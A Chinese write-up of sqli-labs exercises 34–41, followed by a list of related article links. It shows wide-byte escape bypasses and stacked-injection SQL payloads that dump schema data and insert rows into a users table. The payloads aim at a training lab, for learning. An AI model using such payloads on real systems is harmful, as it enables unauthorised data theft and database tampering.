less 34 汉
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。
注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检
第三十三关发现了眼熟的反斜杠,于是我们再次利用之前讲到的%df,发现并没有效果,这里其实是因为%df是url编码,在这里我们可以通过汉字的方式去绕,和%df类似,一些汉字的编码为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
 
汉'union select 1,database() -- qwe
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- q
 
less 35
还是‘ 转义 但这个题单纯迷惑你 用不着’ 数字型注入
?id=1 and 1=1
?id=1 and 1=2
?id=1 order by 4--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
 
less 36
这一题其实跟前面的题目是差不多的,发现我们输入的引号被转义掉了,我们还是可以利用以前的方法绕过,区别是他们源码中利用到的函数不同。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n \r \ ' " \x1a 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
/?id=1%df' order by 4--+
?id=-1%df' union select 1,database(),version()--+
/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
less 37
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
汉' union select 1,2--+
汉' union select database(),version()--+
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- qwe
汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- q
less 38 堆叠注入
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。 堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句)
1
?id=1' and '1'='1 正常
?id=1' and '1'='2 不正常
?id=1' order by 4--+
?id=-1' union select 1,database(),version()--+
2
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。需要注意的是:多条用分号分隔的SQL语句中,只要有一条SQL语句执行失败,那么这一条SQL语句以及之后的SQL语句就不会执行。
只有当第一条SQL语句执行失败,那么multi_query()的返回值才为false。如果第一条SQL语句执行成功了,那么都会返回true。
堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句
语法:mysqli_multi_query(connection,query);
/?id=1' ;insert into users(id,username,password) values ('36','36','hello')--+
less 39
和上面一样 不过是前面引号发生变化
?id=1
?id=1;insert into users(id,username,password) values ('66','66','hello')--+
 
less 40
和上面一样
可知 为堆叠注入 1')
?id=1');insert into users(id,username,password) values ('666','666','hahahahahaha')--+
 
less 41
和上面一样
可知 为堆叠注入 整数型
?id=1;insert into users(id,username,password) values ('88','hd','hahahahahaha......')--+
 
 

sql-labs less34--less41的更多相关文章

  1. SQL Labs刷题补坑记录(less31-less53)

    LESS31: 双引号直接报错,那么肯定可以报错注入,并且也过滤了一些东西,^异或没有过滤,异或真香 -1" and (if(length(database())=8,1,0)) and & ...

  2. SQL Labs刷题补坑记录(less1-less30)

    补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it! 第一部分: LESS1: 直接报错,有回显的注入, http://localhost/s ...

  3. SQL Labs刷题补坑记录(less54-less65)

    LESS54: 只有10次尝试,dump处secret key 直接union 查就可以,括号为单引号闭合 LESS55: 尝试出来闭合的方式为)括号,后面操作与54相同 LESS56: 尝试出来括号 ...

  4. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  5. HANA SQL

    约束 注释 你可以给你的 SQL 语句添加注释来增加可读性和可维护性. SQL 语句中注释的分隔如下: l  双连字符“--”.所有在双连字符之后直到行尾的内容都被 SQL 解析器认为是注释. l  ...

  6. 搭建sql注入实验环境(基于windows)

    搭建服务器环境 1.下载xampp包 地址:http://www.apachefriends.org/zh_cn/xampp.html 很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, ...

  7. Natas Wargame Level 16 Writeup(Content-based Blind SQL Injection)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAqwAAADhCAYAAAANm+erAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  8. Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAq4AAACGCAYAAAAcnwh0AAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. 各种工具点评以供选择使用 + 开发工具秘籍(git, webpack。。。。)

    git最佳实践: https://gist.github.com/fandean/ca29cd2f326f66c659951d7ab356cefb ========================== ...

  2. 关于maven的几个问题

    关于maven的几个问题: 1.maven是什么? 官方的回答是:Maven项目对象模型(POM),可以通过一小段描述信息来管理项目的构建,报告和文档的项目管理工具软件. 个人的解释是:一个管理工具, ...

  3. redis分布锁

    1.redis分布式锁应用的场景? 1)防止缓存穿透:热点数据过期,大量线程访问mysql 2)  防止秒杀超卖:库存数量同步给redis后,对redis数据进行扣减 3)双写一致性:缓存的数据,被修 ...

  4. linux并行执行线程

    资料来源: (1) https://www.jianshu.com/p/d8d58846c53f(作者:黄甫一) 1.并行任务较少时: (1) 给需要并行运行的命令行在结尾加上"&& ...

  5. wpf DataGrid cell 背景色修改参考

    <DataTemplate.Triggers> <DataTrigger Binding="{Binding Path=IsSelected, RelativeSource ...

  6. oracle之如何获取执行计划方法

    1.什么是执行计划 为了执行sql语句,Oracle在内部必须实现许多步骤,这些步骤可能是从数据库中物理检索数据行,或者用某种方法来准备数据行等,接着Oracle会按照一定的顺序一次执行这些步骤,最后 ...

  7. Windows初始化.net core环境

    1.项目使用.ner core版本(例:.net core.3.1) 1.1安装运行环境 https://dotnet.microsoft.com/en-us/download 1.2安装.net 运 ...

  8. 取得SAP服务器主机名(host name)和端口号(port)函数[TH_GET_VIRT_HOST_DATA]

    本文转载至:http://www.baidusap.com/abap/function/4245 是要Vcode开发abap的时候,连接服务器的时候需要端口号,可以用函数TH_GET_VIRT_HOS ...

  9. Vulnhub 靶场 HMS?: 1

    Vulnhub 靶场 HMS?: 1 前期准备: 靶机地址:https://www.vulnhub.com/entry/hms-1,728/ 攻击机ip:192.168.147.190 靶机ip:19 ...

  10. 指针和指针运算符一起时的运算规则(比如*p++和*++p的区别)

    接下来,通过示例彻底理解自增运算符的两种用法(自减的用法与之类似,只不过是加1变成了减1). 1.++i和i++的区别 如清单1(注意代码中的注释): #include <stdio.h> ...